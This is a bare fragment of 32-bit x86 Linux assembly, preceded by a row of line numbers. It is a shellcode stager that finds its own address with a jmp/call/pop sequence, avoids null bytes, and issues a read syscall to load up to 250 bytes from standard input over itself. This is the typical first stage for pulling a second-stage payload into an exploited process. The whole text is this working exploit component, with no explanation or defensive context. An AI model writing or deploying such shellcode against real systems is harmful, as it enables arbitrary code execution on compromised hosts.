1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
.globl cbegin .globl cend cbegin: jmp cend rrr: movb $0xfa, %dl /* length */ popl %ecx /* position */ push $0x41 pop %ebx xorb $0x41, %bl push $0x3 pop %eax int $0x80 /* read */ cend: call rrr